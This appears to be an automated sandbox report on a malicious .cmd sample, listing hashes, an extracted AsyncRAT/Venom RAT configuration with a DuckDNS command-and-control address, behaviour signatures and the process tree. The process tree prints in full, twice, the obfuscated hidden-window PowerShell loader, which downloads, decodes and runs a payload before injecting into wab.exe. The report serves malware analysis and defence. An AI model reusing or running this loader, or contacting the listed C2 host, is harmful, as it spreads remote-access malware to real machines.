Analysis
-
max time kernel
149s -
max time network
151s -
platform
windows10-2004_x64 -
resource
win10v2004-20240508-en -
resource tags
arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system -
submitted
24-05-2024 12:40
Static task
static1
Behavioral task
behavioral1
Sample
b84eb711989fbe9e0ff3ec874b5a0dac33655d27929fdce619ea94a35dca8953.cmd
Resource
win7-20240508-en
Behavioral task
behavioral2
Sample
b84eb711989fbe9e0ff3ec874b5a0dac33655d27929fdce619ea94a35dca8953.cmd
Resource
win10v2004-20240508-en
General
-
Target
b84eb711989fbe9e0ff3ec874b5a0dac33655d27929fdce619ea94a35dca8953.cmd
-
Size
6KB
-
MD5
7b90a6964decffe69d5a3f43d4285498
-
SHA1
9e2982f4c58624952f26322fd7eff379af540586
-
SHA256
b84eb711989fbe9e0ff3ec874b5a0dac33655d27929fdce619ea94a35dca8953
-
SHA512
f95ac4691adb65fe56c981567c2ea79bb786f38305ae0280da1c41f48c7f34d72fdc22737835096046590036353ec33295f1c6378987f1d9354356accd650b68
-
SSDEEP
96:Svgs1WudsEONjKlXPi3+mB0AT1DLkHjXTIo6wwPtsRmNga74vGyr:SN0ysEOKjMlTxiDEwqtLNga0N
Malware Config
Extracted
asyncrat
5.0.5
Venom Clients
xvern429.duckdns.org:8890
Venom_RAT_HVNC_Mutex_Venom RAT_HVNC
-
delay
1
-
install
false
-
install_folder
%AppData%
Signatures
-
Blocklisted process makes network request 6 IoCs
Processes:
powershell.exeflow pid process 6 4204 powershell.exe 10 4204 powershell.exe 16 4204 powershell.exe 33 4204 powershell.exe 39 4204 powershell.exe 41 4204 powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
-
Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
Processes:
wab.exepid process 4896 wab.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
Processes:
powershell.exewab.exepid process 1844 powershell.exe 4896 wab.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
powershell.exedescription pid process target process PID 1844 set thread context of 4896 1844 powershell.exe wab.exe -
Suspicious behavior: EnumeratesProcesses 5 IoCs
Processes:
powershell.exepowershell.exepid process 4204 powershell.exe 4204 powershell.exe 1844 powershell.exe 1844 powershell.exe 1844 powershell.exe -
Suspicious behavior: MapViewOfSection 1 IoCs
Processes:
powershell.exepid process 1844 powershell.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
Processes:
powershell.exepowershell.exewab.exedescription pid process Token: SeDebugPrivilege 4204 powershell.exe Token: SeDebugPrivilege 1844 powershell.exe Token: SeDebugPrivilege 4896 wab.exe -
Suspicious use of WriteProcessMemory 15 IoCs
Processes:
cmd.exepowershell.exepowershell.exedescription pid process target process PID 1816 wrote to memory of 4204 1816 cmd.exe powershell.exe PID 1816 wrote to memory of 4204 1816 cmd.exe powershell.exe PID 4204 wrote to memory of 2308 4204 powershell.exe cmd.exe PID 4204 wrote to memory of 2308 4204 powershell.exe cmd.exe PID 4204 wrote to memory of 1844 4204 powershell.exe powershell.exe PID 4204 wrote to memory of 1844 4204 powershell.exe powershell.exe PID 4204 wrote to memory of 1844 4204 powershell.exe powershell.exe PID 1844 wrote to memory of 2624 1844 powershell.exe cmd.exe PID 1844 wrote to memory of 2624 1844 powershell.exe cmd.exe PID 1844 wrote to memory of 2624 1844 powershell.exe cmd.exe PID 1844 wrote to memory of 4896 1844 powershell.exe wab.exe PID 1844 wrote to memory of 4896 1844 powershell.exe wab.exe PID 1844 wrote to memory of 4896 1844 powershell.exe wab.exe PID 1844 wrote to memory of 4896 1844 powershell.exe wab.exe PID 1844 wrote to memory of 4896 1844 powershell.exe wab.exe
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\b84eb711989fbe9e0ff3ec874b5a0dac33655d27929fdce619ea94a35dca8953.cmd"1⤵
- Suspicious use of WriteProcessMemory
PID:1816 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -windowstyle hidden "$Decisorens='Sub';$Decisorens+='strin';$Pissoirets = 1;$Decisorens+='g';Function Ovibovinae($Gtteris){$brsflsomme=$Gtteris.Length-$Pissoirets;For($Ssttes89=5;$Ssttes89 -lt $brsflsomme;$Ssttes89+=6){$tored+=$Gtteris.$Decisorens.Invoke( $Ssttes89, $Pissoirets);}$tored;}function Siphoning($Moduler){ . ($Fratrdelsen) ($Moduler);}$topografs=Ovibovinae 'AmbulMSkunkoProvezUnb,niG,undlJimcrlPrrieaChoke/Rense5 Unde.Palp 0Ukonv Djede( R llWErhveiLrerinfluordK edio B,nswBloodsEri d ForbrN .tigT Clin Sand1Ekspa0Bandi.Presn0biogr;Indtg Tera,W VindiCheepn,eraa6 Dise4 pato;Masca RkenvxBende6,ymno4 nel;Brand Kolonr.onulv.eget:Reack1Alons2 lagl1Wen,h. eyed0Isklu) Efte Bere.Gf oebe LatecBa,isks,ndhoAmico/Sekst2 P ug0Go,er1Unhab0Ja id0godhj1Mando0l.bor1Repla SchweFJordliSp dsrYe peest,fff Esdro,eavexDispo/Cykel1.ngos2.belt1Diath.Stted0p,ece ';$Lettroenheds=Ovibovinae 'BrestUAfgnisGarroe Spr,rSyd,o-DiestAR.pargF.ldme Udd,nRivert Amir ';$Ciboney=Ovibovinae 'Fjerbh Hygrt MedltHyld p InvasSemid:Urano/Mel b/Prea.wCi,taw In,awSemin.Lith.sForlge sepanFremldSports Akkopb,spaaNyderc Pretedenia. YankcMastioEndosmSelen/StorhpBluntrChaulomo st/UdgradParcelUnvar/IntenhGopledBeetra Em.e6Afl,dmAfdelgEpaen ';$Transporterings7=Ovibovinae 'Ankri>resfo ';$Fratrdelsen=Ovibovinae 'Imprei KommeOilstxDomi, ';$Bivirknings='Unionizing';$septodiarrhea = Ovibovinae ' Socie St,tcHelheh TredoCathe Afsla%K.skvaReefypHensipLaserdBldkoaUntretJin la Mega% Unim\UnvioA,ecrinturaceH vedmCallgoDummetJas iavejf.x DidyiSenils Skif.D.ttoS Frgea,kravfWalin fanta&Henot&Overb AntiweS,attc Incrh ironoBramb nchatBrint ';Siphoning (Ovibovinae 'Ska,b$,laapgMin rl S.lfoVandfbUnipoaSljdll un r:RdninFFormaoOrigirRe,egeCardis MurktAccupa KidnaUo mreMagelnFortad AtheeRuddo=Redis(SammecVe.dem Fis dMarty Hogti/Ransac nmag ,irma$Ove.lsObjeceStirpp BegrtSphenoAfso dFortriSaarfa,lbumrtalr rN,nvohDermieAditsaUnsal)Kol.e ');Siphoning (Ovibovinae ' Unre$Baxiegl,ndslFras.o enfibDeltaaDilutlOrnit:Nonhyt ExamaTranssHydr kVetoweSongbn.triksFe.edpBegitiVanddlSk.lnlOvereeFaculrVskete emor=Polit$ ,ivsCFrikiiKl.rgbEffekoTapionDysm,eSolblySm tt.KarelsTetrapTeg.tlStathiVievatScape( Sang$ UnclTRemitrBeskya s linApatisUnadvp Fa roReblarIso,atPersoeMelderLin.iiInedunpoleagNe.rus pr.d7Forva)tr st ');$Ciboney=$taskenspillere[0];$Vornedskabs= (Ovibovinae 'Inter$SubjegKomprlF,rmio SambbBla.kaVig.ilbrinv:ForhaAIch ebSkaldoTrilom AfskaDelaysDesoruSta.isFilet=Ed,erNVersee YndewCross-DozerOStorkbDandajHourle TermcUmp.ntStrik PolyS Kdvayhightsprogrt T,bee Syntm Modt.Vrt,nNsubskeTalmut Armi.An geW P,ateOrmu.bH.adcCSh.velFacepidemiueFolkenFejlgt');$Vornedskabs+=$Forestaaende[1];Siphoning ($Vornedskabs);Siphoning (Ovibovinae '.ngan$BomulA DodgbInteroUnrecm.kovfaKontisCa hau MonisSkarn.MajdaH.aneleretolaTeknodFort,e Udr.r RittsReima[Senio$L,ladLGenskeUbehjtF otytLxxcorSnvleoFraade,ealin spash.orblehapted K.nesSule.]Sk.ed=Eri k$ Tr.et Ca,co azerpSulteo UnchgCarserEkphoaThybofKom,usgudhj ');$Rastedes=Ovibovinae ' ,tat$TabirA OplybTillgo VeksmB.gnia ustis SeptuNedslsBortf.SkinpDF rwao Aftaw.adionAera lN,lgnoThwaraMotocdGlaucF HostiDukkelHulake aner(Aarsr$,aimoCmaaleiBilbob PretoMotornShrineProtyyCompa, Rets$Et,peBkdgryeG,nnea Obdut Nonti U,rifSkippiBl msc,unnaaDescrl De.i) P,ec ';$Beatifical=$Forestaaende[0];Siphoning (Ovibovinae 'Nahum$ SiskgMu.til E gloF.ldkbMisanaTiltrlbohun:Po itkle.hal ,undaCr nipWelshp,lgaaeSkule=Kunde(TokobTHvileeStibisImplit Ynke-Sm ltPTelefa,nsvatNatdrhUdsto verbi$Res rBHun,eeDre.eaUnr,atYamskiStvb,fTermiiMisfacHitchaso tsl Un.o) Anti ');while (!$klappe) {Siphoning (Ovibovinae 'As,en$halshgGiobelMagmaoast,obAspidaUltralIndef: amilI He sn Pinel GidsaKransk Slu eAerob=Dec.m$H,ddottils rS,agsuMokkaeUns i ') ;Siphoning $Rastedes;Siphoning (Ovibovinae ' DaemSPlkimtkraniaUdsmyrUp,aktPitho-MankeSBundfl,remae DipleDisc.p Whit Dor.4Mejse ');Siphoning (Ovibovinae 'Yar e$,ikspgBugollCuamuo EmnebWurz atoaarll.veb: orskkSnydelNedkma SonipHellep skileRhabd= Unpr( Rap.TBaluse iessErnr,tFirea-InterPTransaMaveptSpecih Orig Erken$SuperB.tande.ltinaBetlet Ik di in.sfLutrii IllucMacroaKonfelTi,ul)Bra,t ') ;Siphoning (Ovibovinae 'Trans$ Ra,ggBekral DekroMinerb Sen,a,eduplRabb,:PohnaTCogitrAnd.saDragsk perstGeneraLikeltri,lebparmorT,rsku FotodAttendMonoceAfstit NordsDeca =A tor$ symmgOmo hlFangeoRundsbDoddyaDikotlellip:BoombTCerasyTendidBuffie ScrulOutjeiFan ag ennehGoddaeW xesd KontsAflur6Psyki0Att i+Tata,+grape%Drkl $ afvit Gudsa iurs KrigkSakkaeIndben N nms Forgp ,alei,vindl EpidlK afte uperAchroePorta. BlomcDagsmoStordu Svernhu,outConco ') ;$Ciboney=$taskenspillere[$Traktatbruddets];}$Besvangrings=327350;$Magnetizes=29673;Siphoning (Ovibovinae 'Himme$LeucogDist.l Vi ioMusm bS peraAnti.lIncon:Befu,F ,andoover,r klipmUregeeCannulNebuleTomatn,rder Tarms=Gangl ExxheGProgrealbyltHemme-egundC,roteoStor,nNonlotprogreRullenShm,otfrdse Agnus$JambkB Snige Ticta SkjotModuliEfterf DandiSke.tc Exena FlyvlForre ');Siphoning (Ovibovinae 'Gensk$ ogedgInappl f.looMorinbFiguragramml.hanc:AesthCSvirroElektn dkoms,nremtSga.er l moaAntiaiAf,enn AfteiFunktnSjakfgGawkylO.kldybonde Kinet=Chanc Photo[,onreS Semiy M,thsflamitPorceeYodelmMaske. eepyCOmstnoKamm.nSaxicv IsobePalmirstilltHydro]Ddssy:elekt:BeltwFResperSpil.o,edfim Wi,dB Vi raU opys SlakeSrgem6.oney4Com.lS GothtSadomrRajahiCantonOversgRegul(Be er$VbnerFDioxio.piscrimpasmT,llgeUn.erlSa.sgeVand nGirob)Allic ');Siphoning (Ovibovinae 'Unwar$ChampgNonhelBowleoE dosb R tea U.islInven:ApperAS,elluVedlgtSavleo Omdiv Ple.a Karts.entekTripteungesaGa ann iorglPe,sagRicingStense,erbotMitzy F.ys= .los Kandi[StumoSIngeryYndigsBeregtBiloceafi nmNonob. PensTUskyleEurokx Zaddtforbl.BosweE ewhnNoncoc PropoUnmasdGe,nei FisknRe,izg Outs]Presc:Skovb:RathaALandlS FratC AngeIMonodIFradr.SkoleGRemudeHy,hetYummiS Untht AsylrUna,iiUndernKak.fg frem( Unst$K,hytCTr,teoHelmenPli,tsFrerbtAtt,irChloraepephiFuturn Har iSceptnSuperg BrislSkrifyT lin)Tengu ');Siphoning (Ovibovinae 'Discu$HeavegChaldl.igtso Ove,bKonseaHovmolValed:UdbanBWild,o,ffenoMatarzEarspetruncrSa,nt=Tuber$ TeleAPa.dauyirtht mancoFoothvKingfaDri ks SeggkDreameRaadgaStempnAn ecl Kna.gObersg Tik eSognet ditt. AalesTorifuArboubPodagsFlanntNonidrA,achimis tnGalgagKludr(Nonne$baadeBSupraeb.sots.komavBrostaA.rennEnestg Duh r DistikogepnSpringLoatus Faru,Repo $TekstMMartha AmphgP ussntricaef,edst.alskiA,trkzSkattemelansAscog).iana ');Siphoning $Boozer;"2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4204 -
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Anemotaxis.Saf && echo t"3⤵PID:2308
-
C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Decisorens='Sub';$Decisorens+='strin';$Pissoirets = 1;$Decisorens+='g';Function Ovibovinae($Gtteris){$brsflsomme=$Gtteris.Length-$Pissoirets;For($Ssttes89=5;$Ssttes89 -lt $brsflsomme;$Ssttes89+=6){$tored+=$Gtteris.$Decisorens.Invoke( $Ssttes89, $Pissoirets);}$tored;}function Siphoning($Moduler){ . ($Fratrdelsen) ($Moduler);}$topografs=Ovibovinae 'AmbulMSkunkoProvezUnb,niG,undlJimcrlPrrieaChoke/Rense5 Unde.Palp 0Ukonv Djede( R llWErhveiLrerinfluordK edio B,nswBloodsEri d ForbrN .tigT Clin Sand1Ekspa0Bandi.Presn0biogr;Indtg Tera,W VindiCheepn,eraa6 Dise4 pato;Masca RkenvxBende6,ymno4 nel;Brand Kolonr.onulv.eget:Reack1Alons2 lagl1Wen,h. eyed0Isklu) Efte Bere.Gf oebe LatecBa,isks,ndhoAmico/Sekst2 P ug0Go,er1Unhab0Ja id0godhj1Mando0l.bor1Repla SchweFJordliSp dsrYe peest,fff Esdro,eavexDispo/Cykel1.ngos2.belt1Diath.Stted0p,ece ';$Lettroenheds=Ovibovinae 'BrestUAfgnisGarroe Spr,rSyd,o-DiestAR.pargF.ldme Udd,nRivert Amir ';$Ciboney=Ovibovinae 'Fjerbh Hygrt MedltHyld p InvasSemid:Urano/Mel b/Prea.wCi,taw In,awSemin.Lith.sForlge sepanFremldSports Akkopb,spaaNyderc Pretedenia. YankcMastioEndosmSelen/StorhpBluntrChaulomo st/UdgradParcelUnvar/IntenhGopledBeetra Em.e6Afl,dmAfdelgEpaen ';$Transporterings7=Ovibovinae 'Ankri>resfo ';$Fratrdelsen=Ovibovinae 'Imprei KommeOilstxDomi, ';$Bivirknings='Unionizing';$septodiarrhea = Ovibovinae ' Socie St,tcHelheh TredoCathe Afsla%K.skvaReefypHensipLaserdBldkoaUntretJin la Mega% Unim\UnvioA,ecrinturaceH vedmCallgoDummetJas iavejf.x DidyiSenils Skif.D.ttoS Frgea,kravfWalin fanta&Henot&Overb AntiweS,attc Incrh ironoBramb nchatBrint ';Siphoning (Ovibovinae 'Ska,b$,laapgMin rl S.lfoVandfbUnipoaSljdll un r:RdninFFormaoOrigirRe,egeCardis MurktAccupa KidnaUo mreMagelnFortad AtheeRuddo=Redis(SammecVe.dem Fis dMarty Hogti/Ransac nmag ,irma$Ove.lsObjeceStirpp BegrtSphenoAfso dFortriSaarfa,lbumrtalr rN,nvohDermieAditsaUnsal)Kol.e ');Siphoning (Ovibovinae ' Unre$Baxiegl,ndslFras.o enfibDeltaaDilutlOrnit:Nonhyt ExamaTranssHydr kVetoweSongbn.triksFe.edpBegitiVanddlSk.lnlOvereeFaculrVskete emor=Polit$ ,ivsCFrikiiKl.rgbEffekoTapionDysm,eSolblySm tt.KarelsTetrapTeg.tlStathiVievatScape( Sang$ UnclTRemitrBeskya s linApatisUnadvp Fa roReblarIso,atPersoeMelderLin.iiInedunpoleagNe.rus pr.d7Forva)tr st ');$Ciboney=$taskenspillere[0];$Vornedskabs= (Ovibovinae 'Inter$SubjegKomprlF,rmio SambbBla.kaVig.ilbrinv:ForhaAIch ebSkaldoTrilom AfskaDelaysDesoruSta.isFilet=Ed,erNVersee YndewCross-DozerOStorkbDandajHourle TermcUmp.ntStrik PolyS Kdvayhightsprogrt T,bee Syntm Modt.Vrt,nNsubskeTalmut Armi.An geW P,ateOrmu.bH.adcCSh.velFacepidemiueFolkenFejlgt');$Vornedskabs+=$Forestaaende[1];Siphoning ($Vornedskabs);Siphoning (Ovibovinae '.ngan$BomulA DodgbInteroUnrecm.kovfaKontisCa hau MonisSkarn.MajdaH.aneleretolaTeknodFort,e Udr.r RittsReima[Senio$L,ladLGenskeUbehjtF otytLxxcorSnvleoFraade,ealin spash.orblehapted K.nesSule.]Sk.ed=Eri k$ Tr.et Ca,co azerpSulteo UnchgCarserEkphoaThybofKom,usgudhj ');$Rastedes=Ovibovinae ' ,tat$TabirA OplybTillgo VeksmB.gnia ustis SeptuNedslsBortf.SkinpDF rwao Aftaw.adionAera lN,lgnoThwaraMotocdGlaucF HostiDukkelHulake aner(Aarsr$,aimoCmaaleiBilbob PretoMotornShrineProtyyCompa, Rets$Et,peBkdgryeG,nnea Obdut Nonti U,rifSkippiBl msc,unnaaDescrl De.i) P,ec ';$Beatifical=$Forestaaende[0];Siphoning (Ovibovinae 'Nahum$ SiskgMu.til E gloF.ldkbMisanaTiltrlbohun:Po itkle.hal ,undaCr nipWelshp,lgaaeSkule=Kunde(TokobTHvileeStibisImplit Ynke-Sm ltPTelefa,nsvatNatdrhUdsto verbi$Res rBHun,eeDre.eaUnr,atYamskiStvb,fTermiiMisfacHitchaso tsl Un.o) Anti ');while (!$klappe) {Siphoning (Ovibovinae 'As,en$halshgGiobelMagmaoast,obAspidaUltralIndef: amilI He sn Pinel GidsaKransk Slu eAerob=Dec.m$H,ddottils rS,agsuMokkaeUns i ') ;Siphoning $Rastedes;Siphoning (Ovibovinae ' DaemSPlkimtkraniaUdsmyrUp,aktPitho-MankeSBundfl,remae DipleDisc.p Whit Dor.4Mejse ');Siphoning (Ovibovinae 'Yar e$,ikspgBugollCuamuo EmnebWurz atoaarll.veb: orskkSnydelNedkma SonipHellep skileRhabd= Unpr( Rap.TBaluse iessErnr,tFirea-InterPTransaMaveptSpecih Orig Erken$SuperB.tande.ltinaBetlet Ik di in.sfLutrii IllucMacroaKonfelTi,ul)Bra,t ') ;Siphoning (Ovibovinae 'Trans$ Ra,ggBekral DekroMinerb Sen,a,eduplRabb,:PohnaTCogitrAnd.saDragsk perstGeneraLikeltri,lebparmorT,rsku FotodAttendMonoceAfstit NordsDeca =A tor$ symmgOmo hlFangeoRundsbDoddyaDikotlellip:BoombTCerasyTendidBuffie ScrulOutjeiFan ag ennehGoddaeW xesd KontsAflur6Psyki0Att i+Tata,+grape%Drkl $ afvit Gudsa iurs KrigkSakkaeIndben N nms Forgp ,alei,vindl EpidlK afte uperAchroePorta. BlomcDagsmoStordu Svernhu,outConco ') ;$Ciboney=$taskenspillere[$Traktatbruddets];}$Besvangrings=327350;$Magnetizes=29673;Siphoning (Ovibovinae 'Himme$LeucogDist.l Vi ioMusm bS peraAnti.lIncon:Befu,F ,andoover,r klipmUregeeCannulNebuleTomatn,rder Tarms=Gangl ExxheGProgrealbyltHemme-egundC,roteoStor,nNonlotprogreRullenShm,otfrdse Agnus$JambkB Snige Ticta SkjotModuliEfterf DandiSke.tc Exena FlyvlForre ');Siphoning (Ovibovinae 'Gensk$ ogedgInappl f.looMorinbFiguragramml.hanc:AesthCSvirroElektn dkoms,nremtSga.er l moaAntiaiAf,enn AfteiFunktnSjakfgGawkylO.kldybonde Kinet=Chanc Photo[,onreS Semiy M,thsflamitPorceeYodelmMaske. eepyCOmstnoKamm.nSaxicv IsobePalmirstilltHydro]Ddssy:elekt:BeltwFResperSpil.o,edfim Wi,dB Vi raU opys SlakeSrgem6.oney4Com.lS GothtSadomrRajahiCantonOversgRegul(Be er$VbnerFDioxio.piscrimpasmT,llgeUn.erlSa.sgeVand nGirob)Allic ');Siphoning (Ovibovinae 'Unwar$ChampgNonhelBowleoE dosb R tea U.islInven:ApperAS,elluVedlgtSavleo Omdiv Ple.a Karts.entekTripteungesaGa ann iorglPe,sagRicingStense,erbotMitzy F.ys= .los Kandi[StumoSIngeryYndigsBeregtBiloceafi nmNonob. PensTUskyleEurokx Zaddtforbl.BosweE ewhnNoncoc PropoUnmasdGe,nei FisknRe,izg Outs]Presc:Skovb:RathaALandlS FratC AngeIMonodIFradr.SkoleGRemudeHy,hetYummiS Untht AsylrUna,iiUndernKak.fg frem( Unst$K,hytCTr,teoHelmenPli,tsFrerbtAtt,irChloraepephiFuturn Har iSceptnSuperg BrislSkrifyT lin)Tengu ');Siphoning (Ovibovinae 'Discu$HeavegChaldl.igtso Ove,bKonseaHovmolValed:UdbanBWild,o,ffenoMatarzEarspetruncrSa,nt=Tuber$ TeleAPa.dauyirtht mancoFoothvKingfaDri ks SeggkDreameRaadgaStempnAn ecl Kna.gObersg Tik eSognet ditt. AalesTorifuArboubPodagsFlanntNonidrA,achimis tnGalgagKludr(Nonne$baadeBSupraeb.sots.komavBrostaA.rennEnestg Duh r DistikogepnSpringLoatus Faru,Repo $TekstMMartha AmphgP ussntricaef,edst.alskiA,trkzSkattemelansAscog).iana ');Siphoning $Boozer;"3⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1844 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Anemotaxis.Saf && echo t"4⤵PID:2624
-
C:\Program Files (x86)\windows mail\wab.exe"C:\Program Files (x86)\windows mail\wab.exe"4⤵
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
PID:4896
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
464KB
MD518fc7a00c5b4cd7bf88445aaf24491bf
SHA18127f6999587c6b0bfde91fceac9d0106907b9d2
SHA25638393e1abae0ed937471b6d4196ebbf100921142ea85d266b3505cc24a992fc2
SHA5120127009c795974510ea898f320450e7bd0b76dd395374c4058adab95e39e27459306cde56de5b39cd38f053513b26eda0d76da34af8cb9ca352daa5d5323ebfb